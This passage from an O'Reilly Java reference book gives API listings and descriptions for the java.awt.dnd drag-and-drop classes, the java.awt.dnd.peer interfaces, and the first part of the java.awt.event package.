 | public int getDefaultActions (); | synchronized default:3
 | public void setDefaultActions (int ops); | synchronized
 | public DropTargetContext getDropTargetContext (); |
 | public java.awt.datatransfer.FlavorMap getFlavorMap (); | default:SystemFlavorMap
 | public void setFlavorMap (java.awt.datatransfer.FlavorMap fm); |
// | Public Instance Methods
 | public void addNotify (java.awt.peer.ComponentPeer peer); |
 | public void removeNotify (java.awt.peer.ComponentPeer peer); |
// | Methods Implementing DropTargetListener
 | public void dragEnter (DropTargetDragEvent dtde); | synchronized
 | public void dragExit (DropTargetEvent dte); | synchronized
 | public void dragOver (DropTargetDragEvent dtde); | synchronized
 | public void drop (DropTargetDropEvent dtde); | synchronized
 | public void dropActionChanged (DropTargetDragEvent dtde); |
// | Protected Instance Methods
 | protected void clearAutoscroll (); |
 | protected DropTarget.DropTargetAutoScroller createDropTargetAutoScroller (Component c, Point p); |
 | protected DropTargetContext createDropTargetContext (); |
 | protected void initializeAutoscrolling (Point p); |
 | protected void updateAutoscroll (Point dragCursorLocn); |
}

Hierarchy: Object-->DropTarget(DropTargetListener(java.util.EventListener),Serializable)

Passed To: Component.setDropTarget(), java.awt.dnd.peer.DropTargetPeer.{addDropTarget(), removeDropTarget()}

Returned By: Component.getDropTarget(), DropTargetContext.getDropTarget(), java.awt.dnd.peer.DropTargetContextPeer.getDropTarget()

DropTarget.DropTargetAutoScroller Java 1.2
java.awt.dnd

This protected inner class implements autoscrolling behavior for a drop target. If the drop target is associated with a component that implements Autoscroll, this class invokes the autoscroll() method of that component as appropriate. Applications never need to use this class directly. Applications that want to override the default autoscrolling behavior can subclass this class and override the createDropTargetAutoScroller() method of DropTarget to return an instance of the subclass.

protected static class DropTarget.DropTargetAutoScroller implements java.awt.event.ActionListener {
// | Protected Constructors
 | protected DropTargetAutoScroller (Component c, Point p); |
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e); | synchronized
// | Protected Instance Methods
 | protected void stop (); |
 | protected void updateLocation (Point newLocn); | synchronized
}

Returned By: DropTarget.createDropTargetAutoScroller()

DropTargetContext Java 1.2
java.awt.dnd

This class contains state information about a drag operation currently in progress above a DropTarget. The DropTargetContext is responsible for communicating with the native drag-and-drop system of the underlying platform and relaying drag-and-drop events from that native system to the DropTargetListener.

Although this is an important class, it does its work internally, and application-level code does not typically need to use it. DropTargetContext does define some important methods, such as acceptDrag() and acceptDrop(), but these are typically invoked through the utility methods of DropTargetDragEvent and DropTargetDropEvent. If you ever do need to use a DropTargetContext directly, it is available from any DropTargetEvent.

public class DropTargetContext {
// | No Constructor
// | Inner Classes
 | ; |
// | Public Instance Methods
 | public void addNotify (java.awt.dnd.peer.DropTargetContextPeer dtcp); | synchronized
 | public void dropComplete (boolean success) throws InvalidDnDOperationException; |
 | public Component getComponent (); |
 | public DropTarget getDropTarget (); |
 | public void removeNotify (); | synchronized
// | Protected Instance Methods
 | protected void acceptDrag (int dragOperation); |
 | protected void acceptDrop (int dropOperation); |
 | protected java.awt.datatransfer.Transferable createTransferableProxy (java.awt.datatransfer.Transferable t, boolean local); |
 | protected java.awt.datatransfer.DataFlavor[ ] getCurrentDataFlavors (); |
 | protected java.util.List getCurrentDataFlavorsAsList (); |
 | protected int getTargetActions (); |
 | protected java.awt.datatransfer.Transferable getTransferable () throws InvalidDnDOperationException; | synchronized
 | protected boolean isDataFlavorSupported (java.awt.datatransfer.DataFlavor df); |
 | protected void rejectDrag (); |
 | protected void rejectDrop (); |
 | protected void setTargetActions (int actions); |
}

Passed To: DropTargetDragEvent.DropTargetDragEvent(), DropTargetDropEvent.DropTargetDropEvent(), DropTargetEvent.DropTargetEvent()

Returned By: DropTarget.{createDropTargetContext(), getDropTargetContext()}, DropTargetEvent.getDropTargetContext()

Type Of: DropTargetEvent.context

DropTargetContext.TransferableProxy Java 1.2
java.awt.dnd

This protected inner class is used by the protected createTransferableProxy() method of DropTargetContext. Applications never need to use this class. This class is not defined by the JFC drag-and-drop specification and its inclusion in the public API of java.awt.dnd was probably unintentional.

protected class DropTargetContext.TransferableProxy implements java.awt.datatransfer.Transferable {
// | No Constructor
// | Methods Implementing Transferable
 | public Object getTransferData (java.awt.datatransfer.DataFlavor df) throws java.awt.datatransfer.UnsupportedFlavorException, java.io.IOException; | synchronized
 | public java.awt.datatransfer.DataFlavor[ ] getTransferDataFlavors (); | synchronized
 | public boolean isDataFlavorSupported (java.awt.datatransfer.DataFlavor flavor); | synchronized
// | Protected Instance Fields
 | protected boolean isLocal ; |
 | protected java.awt.datatransfer.Transferable transferable ; |
}
DropTargetDragEvent | Java 1.2
java.awt.dnd | serializable event

This event is fired by a DropTargetContext and passed to the dragEnter(), dragOver(), and dropActionChanged() methods of a DropTargetListener. Each of these methods should use getDropAction(), getCurrentDataFlavors(), and related methods to check whether the drop target knows how to handle the drag action and is able to interpret the data formats offered. If so, the method should call acceptDrag(). If not, it should call rejectDrag(). See DropTargetListener for further details.

public class DropTargetDragEvent extends DropTargetEvent {
// | Public Constructors
 | public DropTargetDragEvent (DropTargetContext dtc, Point cursorLocn, int dropAction, int srcActions);
// | Property Accessor Methods (by property name)
 | public java.awt.datatransfer.DataFlavor[ ] getCurrentDataFlavors ();
 | public java.util.List getCurrentDataFlavorsAsList ();
 | public int getDropAction ();
 | public Point getLocation ();
 | public int getSourceActions ();
// | Public Instance Methods
 | public void acceptDrag (int dragOperation);
 | public boolean isDataFlavorSupported (java.awt.datatransfer.DataFlavor df);
 | public void rejectDrag ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DropTargetEvent-->DropTargetDragEvent

Passed To: DropTarget.{dragEnter(), dragOver(), dropActionChanged()}, DropTargetListener.{dragEnter(), dragOver(), dropActionChanged()}

DropTargetDropEvent | Java 1.2
java.awt.dnd | serializable event

This event is fired by a DropTargetContext and delivered to the drop() method of a DropTargetListener. This method should call getDropAction() to ensure that it is able to perform the requested action. It should also call getCurrentDataFlavors() or isDataFlavorSupported() to ensure that it can interpret the data that is transferred. If it cannot perform the action or interpret the data, it should call rejectDrag() and return.

If the DropTargetListener can perform the action and interpret the data, it should accept the drop. It does this in a four-step process. First, it calls acceptDrop() to signal that it accepts the drop. Second, it calls getTransferable() to obtain a java.awt.datatransfer.Transferable object. Third, it calls the getTransferData() method of Transferable to actually transfer the data.

Finally, if the data transfer fails for any reason, the DropTargetListener should pass false to the dropComplete() method of the DropTargetDropEvent, indicating that the drop action is complete but that it was not successful. If the data transfer is successful and the data has been safely and completely transferred, the drop() method should pass true to the dropComplete() method. This notifies the system that the data has been successfully transferred. The notification is passed on to the DragSourceListener, which can then complete its part of the action. For example, if the action is ACTION_MOVE, the DragSourceListener deletes its copy of the data once it receives notification that the DropTargetListener has successfully copied it.

public class DropTargetDropEvent extends DropTargetEvent {
// | Public Constructors
 | public DropTargetDropEvent (DropTargetContext dtc, Point cursorLocn, int dropAction, int srcActions);
 | public DropTargetDropEvent (DropTargetContext dtc, Point cursorLocn, int dropAction, int srcActions, boolean isLocal);
// | Property Accessor Methods (by property name)
 | public java.awt.datatransfer.DataFlavor[ ] getCurrentDataFlavors ();
 | public java.util.List getCurrentDataFlavorsAsList ();
 | public int getDropAction ();
 | public boolean isLocalTransfer ();
 | public Point getLocation ();
 | public int getSourceActions ();
 | public java.awt.datatransfer.Transferable getTransferable ();
// | Public Instance Methods
 | public void acceptDrop (int dropAction);
 | public void dropComplete (boolean success);
 | public boolean isDataFlavorSupported (java.awt.datatransfer.DataFlavor df);
 | public void rejectDrop ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DropTargetEvent-->DropTargetDropEvent

Passed To: DropTarget.drop(), DropTargetListener.drop()

DropTargetEvent | Java 1.2
java.awt.dnd | serializable event

This class is the superclass of both DropTargetDragEvent and DropTargetDropEvent. getDropTargetContext() returns the DropTargetContext object that generated the event, and getSource() returns the corresponding DropTarget object. Applications rarely need to use these methods, however.

public class DropTargetEvent extends java.util.EventObject {
// | Public Constructors
 | public DropTargetEvent (DropTargetContext dtc);
// | Public Instance Methods
 | public DropTargetContext getDropTargetContext ();
// | Protected Instance Fields
 | protected DropTargetContext context ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DropTargetEvent

Subclasses: DropTargetDragEvent, DropTargetDropEvent

Passed To: DropTarget.dragExit(), DropTargetListener.dragExit()

DropTargetListener | Java 1.2
java.awt.dnd | event listener

This interface is implemented by objects that want to be able to receive dropped data. Its methods are invoked by a DropTargetContext at various interesting points in the drag-and-drop process. The methods of this interface are passed a DropTargetEvent or one of its subclasses, a DropTargetDragEvent or a DropTargetDropEvent. The methods are:

dragEnter()

Invoked when a drag enters the Component associated with the DropTargetListener. This method should call getDropAction() to determine whether it can perform the requested action and either getCurrentDataFlavors() or isDataFlavorSupported() to determine whether it can interpret the data that is being offered. If so, it should call the acceptDrag() method of the event object. If not, it should call the rejectDrag() method.

If this method accepts the drag, it may also perform or initiate custom graphical drag under effects on the associated Component. These effects provide feedback to the user that the drop target Component is interested in receiving the drop.

dragExit()

Called when a previously accepted drag leaves the DropTarget. If the dragEnter() method performed any custom drag under effects, this method should undo them.

dragOver()

Invoked continuously while the mouse pointer remains over the DragTarget. In most cases, this method need not do anything. If the DropTarget is a complex one that is capable of accepting drags in some regions but not in other regions, this method should behave like dragEnter() and call the acceptDrag() or rejectDrag() methods of the event object to inform the system whether a drag is possible at the current location. In this case, this method is also responsible for any custom drag under graphical effects.

drop()

Called when data is dropped over the DropTarget. This method should determine whether the DropTarget can accept the drop and call the acceptDrop() or rejectDrop() method of the DropTargetDropEvent event object. If it accepts the drop, it must then transfer the data, perform the requested action, and call dropComplete(). See DropTargetDropEvent for details on this process. This method need not undo your drag under effects; the dragExit() method is invoked for this purpose.

dropActionChanged()

Invoked when the user changes the requested action in mid-drag. This typically occurs if the user changes the modifier keys currently held down. This method should behave like dragEnter() to evaluate whether the drop target can perform the requested action on the offered data and then call acceptDrag() or rejectDrag() and begin or end custom drag under effects, as appropriate.

public abstract interface DropTargetListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void dragEnter (DropTargetDragEvent dtde);
 | public abstract void dragExit (DropTargetEvent dte);
 | public abstract void dragOver (DropTargetDragEvent dtde);
 | public abstract void drop (DropTargetDropEvent dtde);
 | public abstract void dropActionChanged (DropTargetDragEvent dtde);
}

Hierarchy: (DropTargetListener(java.util.EventListener))

Implementations: DropTarget

Passed To: DropTarget.{addDropTargetListener(), DropTarget(), removeDropTargetListener()}

InvalidDnDOperationException | Java 1.2
java.awt.dnd | serializable unchecked

Signals that a misconfiguration or error of some sort prevents a drag-and-drop operation from completing normally. This exception is thrown by methods throughout the java.awt.dnd package.

public class InvalidDnDOperationException extends java.lang.IllegalStateException {
// | Public Constructors
 | public InvalidDnDOperationException ();
 | public InvalidDnDOperationException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->java.lang.IllegalStateException-->InvalidDnDOperationException

Thrown By: Toolkit.createDragSourceContextPeer(), DragGestureEvent.startDrag(), DragSource.startDrag(), DropTargetContext.{dropComplete(), getTransferable()}, java.awt.dnd.peer.DragSourceContextPeer.{setCursor(), startDrag()}, java.awt.dnd.peer.DropTargetContextPeer.getTransferable()

MouseDragGestureRecognizer Java 1.2
java.awt.dnd

This class is a DragGestureRecognizer that is designed to recognize mouse gestures (as opposed, for example, to keyboard gestures). Like DragGestureRecognizer, this is an abstract class and cannot be instantiated. The createDefaultDragGestureRecognizer() method of DragSource returns a platform-specific concrete subclass of this class. Most applications do not need to use this class. Applications that want to support custom drag-and-drop gestures may find it convenient to subclass this class.

public abstract class MouseDragGestureRecognizer extends DragGestureRecognizer implements java.awt.event.MouseListener, java.awt.event.MouseMotionListener {
// | Protected Constructors
 | protected MouseDragGestureRecognizer (DragSource ds); |
 | protected MouseDragGestureRecognizer (DragSource ds, Component c); |
 | protected MouseDragGestureRecognizer (DragSource ds, Component c, int act); |
 | protected MouseDragGestureRecognizer (DragSource ds, Component c, int act, DragGestureListener dgl); |
// | Methods Implementing MouseListener
 | public void mouseClicked (java.awt.event.MouseEvent e); | empty
 | public void mouseEntered (java.awt.event.MouseEvent e); | empty
 | public void mouseExited (java.awt.event.MouseEvent e); | empty
 | public void mousePressed (java.awt.event.MouseEvent e); | empty
 | public void mouseReleased (java.awt.event.MouseEvent e); | empty
// | Methods Implementing MouseMotionListener
 | public void mouseDragged (java.awt.event.MouseEvent e); | empty
 | public void mouseMoved (java.awt.event.MouseEvent e); | empty
// | Protected Methods Overriding DragGestureRecognizer
 | protected void registerListeners (); |
 | protected void unregisterListeners (); |
}

Hierarchy: Object-->DragGestureRecognizer-->MouseDragGestureRecognizer(java.awt.event.MouseListener(java.util.EventListener),java.awt.event.MouseMotionListener(java.util.EventListener))

Previous | Home | Next
11.1. The java.awt.datatransfer Package | Book Index | 13. The java.awt.dnd.peer Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.dnd.peer Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 13. The java.awt.dnd.peer Package

The interfaces of the java.awt.dnd.peer package precisely specify the native drag-and-drop capabilities that are required to implement the java.awt.dnd package. Application-level code never needs to use this package. Figure 13-1 shows the class hierarchy of this package.

Figure 13-1. The java.awt.dnd.peer package

DragSourceContextPeer Java 1.2
java.awt.dnd.peer

This interface defines methods that the java.awt.dnd.DragSourceContext class uses to communicate with the underlying native drag-and-drop subsystem. Application-level code never uses this interface.

public abstract interface DragSourceContextPeer {
// | Public Instance Methods
 | public abstract Cursor getCursor ();
 | public abstract void setCursor (Cursor c) throws InvalidDnDOperationException;
 | public abstract void startDrag (DragSourceContext dsc, Cursor c, Image dragImage, Point imageOffset) throws InvalidDnDOperationException;
 | public abstract void transferablesFlavorsChanged ();
}

Passed To: DragSource.createDragSourceContext(), DragSourceContext.DragSourceContext()

Returned By: Toolkit.createDragSourceContextPeer()

DropTargetContextPeer Java 1.2
java.awt.dnd.peer

This interface defines methods that the java.awt.dnd.DropTargetContext class uses to communicate with the underlying native drag-and-drop subsystem. Application-level code never uses this interface.

public abstract interface DropTargetContextPeer {
// | Property Accessor Methods (by property name)
 | public abstract DropTarget getDropTarget ();
 | public abstract int getTargetActions ();
 | public abstract void setTargetActions (int actions);
 | public abstract java.awt.datatransfer.Transferable getTransferable () throws InvalidDnDOperationException;
 | public abstract boolean isTransferableJVMLocal ();
 | public abstract java.awt.datatransfer.DataFlavor[ ] getTransferDataFlavors ();
// | Public Instance Methods
 | public abstract void acceptDrag (int dragAction);
 | public abstract void acceptDrop (int dropAction);
 | public abstract void dropComplete (boolean success);
 | public abstract void rejectDrag ();
 | public abstract void rejectDrop ();
}

Passed To: DropTargetContext.addNotify()

DropTargetPeer Java 1.2
java.awt.dnd.peer

This interface defines methods that the java.awt.dnd.DropTarget class uses to communicate with the underlying native drag-and-drop subsystem. Application-level code never uses this interface.

public abstract interface DropTargetPeer {
// | Public Instance Methods
 | public abstract void addDropTarget (DropTarget dt);
 | public abstract void removeDropTarget (DropTarget dt);
}
Previous | Home | Next
12.1. The java.awt.dnd Package | Book Index | 14. The java.awt.event Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.event Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 14. The java.awt.event Package

The java.awt.event package defines classes and interfaces used for event handling in the AWT and Swing. The members of this package fall into three categories:

Events

The classes with names ending in "Event" represent specific types of events, generated by the AWT or by one of the AWT or Swing components.

Listeners

The interfaces in this package are all event listeners; their names end with "Listener". These interfaces define the methods that must be implemented by any object that wants to be notified when a particular event occurs. Note that there is a Listener interface for each Event class.

Adapters

Each of the classes with a name ending in "Adapter" provides a no-op implementation for an event listener interface that defines more than one method. When you are interested in only a single method of an event listener interface, it is easier to subclass an Adapter class than to implement all of the methods of the corresponding Listener interface.

Figure 14-1 shows the class hierarchy of this package.

The Swing user-interface components use some of these event classes and interfaces and also define others in the javax.swing.event package. The java.beans package also defines a few commonly used event classes and listener interfaces. Note that this package is part of the Java 1.1 event model. In Java 1.0, events were represented by the java.awt.Event class. See Chapter 2, "Swing and AWTArchitecture", for an introduction to events and event handling.

Figure 14-1. The java.awt.event package

ActionEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An object of this class represents a high-level action event generated by an AWT component. Instead of representing a direct user event, such as a mouse or keyboard event, ActionEvent represents some sort of action performed by the user on an AWT component.

The getID() method returns the type of action that has occurred. For AWT-generated action events, this type is always ActionEvent.ACTION_PERFORMED; custom components can generate action events of other types.

The getActionCommand() method returns a String that serves as a kind of name for the action that the event represents. The Button and MenuItem components have a setActionCommand() method that allows the programmer to specify an action command string to be included with any action events generated by those components. It is this value that is returned by the getActionCommand() method. When more than one Button or other component notifies the same ActionListener, you can use getActionCommand() to help determine the appropriate response to the event. This is generally a better technique than using the source object returned by getSource(). If no action command string is explicitly set, getActionCommand() returns the label of the Button or MenuItem. Internationalized programs should not rely on these labels being constant.

getModifiers() returns a value that indicates the keyboard modifiers that were in effect when the action event was triggered. Use the various _MASK constants, along with the & operator, to decode this value.

public class ActionEvent extends AWTEvent {
// | Public Constructors
 | public ActionEvent (Object source, int id, String command); |
 | public ActionEvent (Object source, int id, String command, int modifiers); |
// | Public Constants
 | public static final int ACTION_FIRST ; | =1001
 | public static final int ACTION_LAST ; | =1001
 | public static final int ACTION_PERFORMED ; | =1001
 | public static final int ALT_MASK ; | =8
 | public static final int CTRL_MASK ; | =2
 | public static final int META_MASK ; | =4
 | public static final int SHIFT_MASK ; | =1
// | Public Instance Methods
 | public String getActionCommand (); |
 | public int getModifiers (); |
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ActionEvent

Passed To: Too many methods to list.

ActionListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the method that an object must implement to listen for action events on AWT components. When an ActionEvent occurs, an AWT component notifies its registered ActionListener objects by invoking their actionPerformed() methods.

public abstract interface ActionListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void actionPerformed (ActionEvent e);
}

Hierarchy: (ActionListener(java.util.EventListener))

Implementations: AWTEventMulticaster, java.awt.dnd.DropTarget.DropTargetAutoScroller, javax.swing.Action, javax.swing.DefaultCellEditor.EditorDelegate, javax.swing.JComboBox, javax.swing.ToolTipManager.insideTimerAction, javax.swing.ToolTipManager.outsideTimerAction, javax.swing.ToolTipManager.stillInsideTimerAction, javax.swing.text.html.FormView, javax.swing.tree.DefaultTreeCellEditor

Passed To: Too many methods to list.

Returned By: AWTEventMulticaster.{add(), remove()}, javax.swing.AbstractButton.createActionListener(), javax.swing.JComponent.getActionForKeyStroke()

Type Of: javax.swing.AbstractButton.actionListener

AdjustmentEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that an adjustment has been made to an Adjustable object--usually, this means that the user has interacted with a Scrollbar component.

The getValue() method returns the new value of the Adjustable object. This is usually the most important piece of information stored in the event. getAdjustable() returns the Adjustable object that was the source of the event. It is a convenient alternative to the inherited getSource() method.

The getID() method returns the type of an AdjustmentEvent. The standard AWT components only generate adjustment events of the type AdjustmentEvent.ADJUSTMENT_VALUE_CHANGED. There are several types of adjustments that can be made to an Adjustable object, however, and the getAdjustmentType() method returns one of five constants to indicate which type has occurred. UNIT_INCREMENT indicates that the Adjustable value has been incremented by one unit, as in a scroll-line-down operation. UNIT_DECREMENT indicates the opposite: scroll-line-up. BLOCK_INCREMENT and BLOCK_DECREMENT indicate that the Adjustable object has been incremented or decremented by multiple units, as in a scroll-page-down or scroll-page-up operation. Finally, the TRACK constant indicates that the Adjustable value has been set to an absolute value unrelated to its previous value, as when the user drags a scrollbar to a new position.

public class AdjustmentEvent extends AWTEvent {
// | Public Constructors
 | public AdjustmentEvent (Adjustable source, int id, int type, int value); |
// | Public Constants
 | public static final int ADJUSTMENT_FIRST ; | =601
 | public static final int ADJUSTMENT_LAST ; | =601
 | public static final int ADJUSTMENT_VALUE_CHANGED ; | =601
 | public static final int BLOCK_DECREMENT ; | =3
 | public static final int BLOCK_INCREMENT ; | =4
 | public static final int TRACK ; | =5
 | public static final int UNIT_DECREMENT ; | =2
 | public static final int UNIT_INCREMENT ; | =1
// | Public Instance Methods
 | public Adjustable getAdjustable (); |
 | public int getAdjustmentType (); |
 | public int getValue (); |
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->AdjustmentEvent

Passed To: AWTEventMulticaster.adjustmentValueChanged(), Scrollbar.processAdjustmentEvent(), AdjustmentListener.adjustmentValueChanged()

AdjustmentListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the method that an object must implement to listen for adjustment events on AWT components. When an AdjustmentEvent occurs, an AWT component notifies its registered AdjustmentListener objects by invoking their adjustmentValueChanged() methods.

public abstract interface AdjustmentListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void adjustmentValueChanged (AdjustmentEvent e);
}

Hierarchy: (AdjustmentListener(java.util.EventListener))

Implementations: AWTEventMulticaster

Passed To: Adjustable.{addAdjustmentListener(), removeAdjustmentListener()}, AWTEventMulticaster.{add(), remove()}, Scrollbar.{addAdjustmentListener(), removeAdjustmentListener()}, javax.swing.JScrollBar.{addAdjustmentListener(), removeAdjustmentListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

AWTEventListener | Java 1.2
java.awt.event | event listener

This interface is implemented by objects, such as GUI macro recorders, that want to be notified of all AWT events that occur on Component and MenuComponent objects throughout the system. Register an AWTEventListener with the addAWTEventListener() method of Toolkit.

public abstract interface AWTEventListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void eventDispatched (AWTEvent event);
}

Hierarchy: (AWTEventListener(java.util.EventListener))

Passed To: Toolkit.{addAWTEventListener(), removeAWTEventListener()}

ComponentAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of ComponentListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass ComponentAdapter than it is to implement ComponentListener from scratch.

public abstract class ComponentAdapter implements ComponentListener {
// | Public Constructors
 | public ComponentAdapter (); |
// | Methods Implementing ComponentListener
 | public void componentHidden (ComponentEvent e); | empty
 | public void componentMoved (ComponentEvent e); | empty
 | public void componentResized (ComponentEvent e); | empty
 | public void componentShown (ComponentEvent e); | empty
}

Hierarchy: Object-->ComponentAdapter(ComponentListener(java.util.EventListener))

Subclasses: javax.swing.JViewport.ViewListener

ComponentEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type serves as notification that the source Component has been moved, resized, shown, or hidden. Note that this event is a notification only: the AWT handles these Component operations internally, and the recipient of the event need take no action itself.

getComponent() returns the component that was moved, resized, shown, or hidden. It is simply a convenient alternative to getSource(). getID() returns one of four COMPONENT_ constants to indicate what operation was performed on the Component.

public class ComponentEvent extends AWTEvent {
// | Public Constructors
 | public ComponentEvent (Component source, int id); |
// | Public Constants
 | public static final int COMPONENT_FIRST ; | =100
 | public static final int COMPONENT_HIDDEN ; | =103
 | public static final int COMPONENT_LAST ; | =103
 | public static final int COMPONENT_MOVED ; | =100
 | public static final int COMPONENT_RESIZED ; | =101
 | public static final int COMPONENT_SHOWN ; | =102
// | Public Instance Methods
 | public Component getComponent (); |
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent

Subclasses: ContainerEvent, FocusEvent, InputEvent, PaintEvent, WindowEvent

Passed To: AWTEventMulticaster.{componentHidden(), componentMoved(), componentResized(), componentShown()}, Component.processComponentEvent(), ComponentAdapter.{componentHidden(), componentMoved(), componentResized(), componentShown()}, ComponentListener.{componentHidden(), componentMoved(), componentResized(), componentShown()}, javax.swing.JViewport.ViewListener.componentResized()

ComponentListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for component events on AWT components. When a ComponentEvent occurs, an AWT component notifies its registered ComponentListener objects by invoking one of their methods. An easy way to implement this interface is by subclassing the ComponentAdapter class.

public abstract interface ComponentListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void componentHidden (ComponentEvent e);
 | public abstract void componentMoved (ComponentEvent e);
 | public abstract void componentResized (ComponentEvent e);
 | public abstract void componentShown (ComponentEvent e);
}

Hierarchy: (ComponentListener(java.util.EventListener))

Implementations: AWTEventMulticaster, ComponentAdapter

Passed To: AWTEventMulticaster.{add(), remove()}, Component.{addComponentListener(), removeComponentListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

ContainerAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of ContainerListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass ContainerAdapter than it is to implement ContainerListener from scratch.

public abstract class ContainerAdapter implements ContainerListener {
// | Public Constructors
 | public ContainerAdapter (); |
// | Methods Implementing ContainerListener
 | public void componentAdded (ContainerEvent e); | empty
 | public void componentRemoved (ContainerEvent e); | empty
}

Hierarchy: Object-->ContainerAdapter(ContainerListener(java.util.EventListener))

ContainerEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type serves as notification that the source Container has had a child added to it or removed from it. Note that this event is a notification only; the AWT adds or removes the child internally, and the recipient of this event need take no action itself.

getChild() returns the child Component that was added or removed, and getContainer() returns the Container to which it was added or from which it was removed. getContainer() is simply a convenient alternative to getSource(). getID() returns the constant COMPONENT_ADDED or COMPONENT_REMOVED to indicate whether the specified child was added or removed.

public class ContainerEvent extends ComponentEvent {
// | Public Constructors
 | public ContainerEvent (Component source, int id, Component child); |
// | Public Constants
 | public static final int COMPONENT_ADDED ; | =300
 | public static final int COMPONENT_REMOVED ; | =301
 | public static final int CONTAINER_FIRST ; | =300
 | public static final int CONTAINER_LAST ; | =301
// | Public Instance Methods
 | public Component getChild (); |
 | public Container getContainer (); |
// | Public Methods Overriding ComponentEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->ContainerEvent

Passed To: AWTEventMulticaster.{componentAdded(), componentRemoved()}, Container.processContainerEvent(), ContainerAdapter.{componentAdded(), componentRemoved()}, ContainerListener.{componentAdded(), componentRemoved()}, javax.swing.JComponent.AccessibleJComponent.AccessibleContainerHandler.{componentAdded(), componentRemoved()}

ContainerListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for container events on AWT components. When a ContainerEvent occurs, an AWT component notifies its registered ContainerListener objects by invoking one of their methods. An easy way to implement this interface is by subclassing the ContainerAdapter class.

public abstract interface ContainerListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void componentAdded (ContainerEvent e);
 | public abstract void componentRemoved (ContainerEvent e);
}

Hierarchy: (ContainerListener(java.util.EventListener))

Implementations: AWTEventMulticaster, ContainerAdapter, javax.swing.JComponent.AccessibleJComponent.AccessibleContainerHandler

Passed To: AWTEventMulticaster.{add(), remove()}, Container.{addContainerListener(), removeContainerListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

Type Of: javax.swing.JComponent.AccessibleJComponent.accessibleContainerHandler

FocusAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of FocusListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass FocusAdapter than it is to implement FocusListener from scratch.

public abstract class FocusAdapter implements FocusListener {
// | Public Constructors
 | public FocusAdapter (); |
// | Methods Implementing FocusListener
 | public void focusGained (FocusEvent e); | empty
 | public void focusLost (FocusEvent e); | empty
}

Hierarchy: Object-->FocusAdapter(FocusListener(java.util.EventListener))

FocusEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that a Component has gained or lost focus on a temporary or permanent basis. Use the inherited getComponent() method to determine which component has gained or lost focus. Use getID() to determine the type of focus event; it returns FOCUS_GAINED or FOCUS_LOST.

When focus is lost, you can call isTemporary() to determine whether it is a temporary loss of focus. Temporary focus loss occurs when the window that contains the component loses focus, for example, or when focus is temporarily diverted to a popup menu or a scrollbar. Similarly, you can also use isTemporary() to determine whether focus is being granted to a component on a temporary basis.

public class FocusEvent extends ComponentEvent {
// | Public Constructors
 | public FocusEvent (Component source, int id); |
 | public FocusEvent (Component source, int id, boolean temporary); |
// | Public Constants
 | public static final int FOCUS_FIRST ; | =1004
 | public static final int FOCUS_GAINED ; | =1004
 | public static final int FOCUS_LAST ; | =1005
 | public static final int FOCUS_LOST ; | =1005
// | Public Instance Methods
 | public boolean isTemporary (); |
// | Public Methods Overriding ComponentEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->FocusEvent

Passed To: AWTEventMulticaster.{focusGained(), focusLost()}, Component.processFocusEvent(), FocusAdapter.{focusGained(), focusLost()}, FocusListener.{focusGained(), focusLost()}, javax.swing.JComponent.processFocusEvent(), javax.swing.text.DefaultCaret.{focusGained(), focusLost()}

FocusListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for focus events on AWT components. When a FocusEvent occurs, an AWT component notifies its registered FocusListener objects by invoking one of their methods. An easy way to implement this interface is by subclassing the FocusAdapter class.

public abstract interface FocusListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void focusGained (FocusEvent e);
 | public abstract void focusLost (FocusEvent e);
}

Hierarchy: (FocusListener(java.util.EventListener))

Implementations: AWTEventMulticaster, FocusAdapter, javax.swing.text.DefaultCaret

Passed To: Too many methods to list.

Returned By: AWTEventMulticaster.{add(), remove()}

InputEvent | Java 1.1
java.awt.event | serializable event PJ1.1

